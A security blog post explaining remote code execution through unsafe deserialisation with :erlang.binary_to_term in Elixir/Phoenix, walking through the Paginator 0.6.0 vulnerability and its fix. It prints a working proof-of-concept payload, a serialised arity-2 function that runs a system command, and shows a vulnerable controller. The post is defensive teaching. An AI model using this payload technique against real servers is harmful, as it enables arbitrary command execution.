Elixir/Phoenix Security: Remote Code Execution and Serialisation

Michael Lubas, 2023-02-28

In a Phoenix application, is the code :erlang.binary_to_term(user_input, [:safe]) secure? The answer is no, as the Erlang documentation states, “The safe option ensures the data is safely processed by the Erlang runtime but it does not guarantee the data is safe to your application. You must always validate data from untrusted sources.” Unsafe usage of binary_to_term/2 can lead to a remote code execution (RCE) vulnerability in your application. This means an attacker sends a string of input, which executes malicious code on your production server.

Introduction

Did you know that Elixir functions with an arity of 2 implement the Enumerable protocol?

iex(4)> a = fn _x -> IO.puts("Hi from a"); {:cont, []} end 
#Function<42.3316493/1 in :erl_eval.expr/6>
iex(5)> b = fn _x, _y -> IO.puts("Hi from b"); {:cont, []} end 
#Function<41.3316493/2 in :erl_eval.expr/6>
iex(6)> Enum.zip(a)
** (Protocol.UndefinedError) protocol Enumerable not implemented for #Function<42.3316493/1 in :erl_eval.expr/6> of type Function, only anonymous functions of arity 2 are enumerable
    (elixir 1.13.0) lib/enum.ex:4519: Enumerable.Function.reduce/3
    (elixir 1.13.0) lib/enum.ex:4143: Enum.map/2
    (elixir 1.13.0) lib/stream.ex:1251: Stream.zip_enum/4
    (elixir 1.13.0) lib/enum.ex:3819: Enum.zip_reduce/3
    (elixir 1.13.0) lib/enum.ex:3673: Enum.zip/1
iex(6)> Enum.zip(b)
Hi from b
[]

This may seem like a random bit of Elixir trivia, but you will soon understand the security relevance of this fact.

Now consider an Elixir app which is using :erlang.binary_to_term/2. An attacker crafts a malicious payload to run a system command, in this case opening a calculator:

exploit = fn _, _ ->  System.cmd("open", ["-a", "Calculator"]); {:cont, []} end
payload =
  exploit
  |> :erlang.term_to_binary()
  |> Base.url_encode64()

In this example, the server is the local development environment. Note that in a real application, the server will not be a Macbook where this command works.

If you run the above code in iex, you’ll get a base64 encoded string that starts with: "g3AAAAIeAgZTYapGF..." for payload. The string payload is what an attacker sends to the victim Phoenix application, which then runs:

iex(23)> :erlang.binary_to_term(Base.decode64!(payload), [:safe])
#Function<41.3316493/2 in :erl_eval.expr/6>

To get this malicious function to run, the vulnerable Elixir application needs to execute the function via the dot(.) operator. For example:

It’s possible that a developer would write a Phoenix application that expects a base64 encoded function, from external users, and executes it. This rarely happens. What’s much more common is passing user input to an Enum function. Elixir functions with an arity of 2 implement the Enumerable protocol, which means malicious functions passed as input to an Enum function (such as Enum.zip/1) will be executed.

iex(9)> b = fn _x, _y -> IO.puts("Hi from b"); {:cont, []} end
#Function<41.3316493/2 in :erl_eval.expr/6>
iex(10)> Enum.zip(b)
Hi from b
[]

Paginator, a Real World Example

In November of 2020 Peter Stöckli discovered a RCE vulnerability in the Paginator library. Read his writeup here.

What does this attack look like in a Phoenix application? Let’s install a vulnerable version of Paginator and find out.

mix.exs

defp deps do
  [
    {:phoenix, "~> 1.6.15"},
    ...
    {:plug_cowboy, "~> 2.5"},
    {:paginator, "~> 0.6.0"}
  ]

The application will perform a simple task, print five elements and return a value that can be submitted to get five more elements:


What does the base64 encoded string mean?

It encodes the Elixir list [~U[2023-02-27 18:30:21Z], 11]

Examine the PageController code:

defmodule ElementsWeb.PageController do
  use ElementsWeb, :controller
  ...
  def page(conn, %{"after" => a}) do
    %{entries: entries, metadata: m} = Elements.get_e_page(a)
    render(conn, "page.html", elements: entries, a: m.after)
  end

  def page(conn, _params) do
    %{entries: entries, metadata: m} = Elements.get_e_page()
    render(conn, "page.html", elements: entries, a: m.after)
  end
end

And the Ecto functions:

defmodule Elements do
  alias Elements.Repo
  alias Elements.Element
  import Ecto.Query

  def get_e_page() do
    q = from(Element, order_by: [asc: :id])
    Repo.paginate(q, cursor_fields: [:inserted_at, :id], limit: 5)
  end

  def get_e_page(a) do
    q = from(Element, order_by: [asc: :id])
    Repo.paginate(q, after: a, cursor_fields: [:inserted_at, :id], limit: 5)
  end
end

The base64 encoded string is being passed to the Paginate library. Let’s run the exploit payload:

exploit = fn _, _ ->  System.cmd("open", ["-a", "Calculator"]); {:cont, []} end
  payload =
  exploit
  |> :erlang.term_to_binary()
  |> Base.url_encode64()

The calculator means it worked, an attacker can execute malicious code on the server. Searching through Paginator version 0.6.0 (commit 1d5dd3c) quickly shows how the encoded_cursor is piped into :erlang.binary_to_term([:safe]).

This means a call to Paginator.Cursor.decode(encoded_cursor) will return a malicious function. For this attack to work, this malicious functions need to get executed. Peter’s blog post shows exactly how this happens:

defp rce_print_stacktrace() do
  exploit = fn _, _ ->  IO.inspect(Process.info(self(), :current_stacktrace), label: "RCE STACKTRACE"); {:cont, []} end
  payload =
  exploit
  |> :erlang.term_to_binary()
  |> Base.url_encode64()
end
RCE STACKTRACE: {:current_stacktrace,
 [
   {Process, :info, 2, [file: 'lib/process.ex', line: 769]},
   {:erl_eval, :do_apply, 7, [file: 'erl_eval.erl', line: 744]},
   {:erl_eval, :expr_list, 7, [file: 'erl_eval.erl', line: 961]},
   {:erl_eval, :expr, 6, [file: 'erl_eval.erl', line: 454]},
   {:erl_eval, :exprs, 6, [file: 'erl_eval.erl', line: 136]},
   {Stream, :do_zip_next, 6, [file: 'lib/stream.ex', line: 1303]},
   {Stream, :do_zip_enum, 4, [file: 'lib/stream.ex', line: 1274]},
   {Enum, :zip_reduce, 3, [file: 'lib/enum.ex', line: 3819]},
   {Enum, :zip, 1, [file: 'lib/enum.ex', line: 3673]},
   {Paginator.Ecto.Query, :filter_values, 4,
    [file: 'lib/paginator/ecto/query.ex', line: 24]},
   {Paginator.Ecto.Query, :paginate, 2,
    [file: 'lib/paginator/ecto/query.ex', line: 12]},
   {Paginator, :entries, 4, [file: 'lib/paginator.ex', line: 203]},
   {Paginator, :paginate, 4, [file: 'lib/paginator.ex', line: 109]},
   {ElementsWeb.PageController, :page, 2,
    [file: 'lib/elements_web/controllers/page_controller.ex', line: 10]},
   {ElementsWeb.PageController, :action, 2,
    [file: 'lib/elements_web/controllers/page_controller.ex', line: 1]},
   {ElementsWeb.PageController, :phoenix_controller_pipeline, 2,
    [file: 'lib/elements_web/controllers/page_controller.ex', line: 1]},
   {Phoenix.Router, :__call__, 2, [file: 'lib/phoenix/router.ex', line: 354]},
   {ElementsWeb.Endpoint, :plug_builder_call, 2,
    [file: 'lib/elements_web/endpoint.ex', line: 1]},
   {ElementsWeb.Endpoint, :"call (overridable 3)", 2,
    [file: 'lib/plug/debugger.ex', line: 136]},
   {ElementsWeb.Endpoint, :call, 2,
    [file: 'lib/elements_web/endpoint.ex', line: 1]}
 ]}

The stack trace shows that a call to Enum.zip in the lib/paginator/ecto/query.ex file is responsible for the function being executed, [file: 'lib/paginator/ecto/query.ex', line: 24]}. To debug how this works, you can run a local copy of Paginator in mix.exs:

defp deps do
  [
    {:phoenix, "~> 1.6.15"},
    ...
    {:plug_cowboy, "~> 2.5"},
    #{:paginator, "~> 0.6.0"},
    {:paginator, path: "/Users/name_here/github_repos/paginator"}
  ]
end

Now in your local copy of Paginator:

Note the “values here” output with normal input:

And with the exploit:

The call to :erlang.binary_to_term/2 takes the malicious input, and creates the malicious function. It does not get run until Enum.zip is called, with the malicious function as input.

How was it fixed?

To see how Paginator fixed this problem, see commit bf45e92 here.

The documentation for Plug.Crypto goes into detail on non_executable_binary_to_term/2. We can test this locally:

See that the exploit no longer works.

Recommendations

1. Avoid passing user input to :erlang.binary_to_term/2, use Plug.Crypto.non_executable_binary_to_term/2 if you must convert user supplied input to a term.

2. Use Sobelow to scan your application for this vulnerability. Paraxial.io can manage Sobelow scans, and is a great option for businesses that need to track and manage scan findings for compliance purposes.

3. The Erlang Ecosystem Foundation’s Security Working Group publishes Secure Coding and Deployment Hardening Guidelines for Elixir. Read the section on serialisation and deserialisation.


Paraxial.io stops data breaches by helping developers ship secure applications. Get a demo or start for free.

Subscribe to stay up to date on new posts.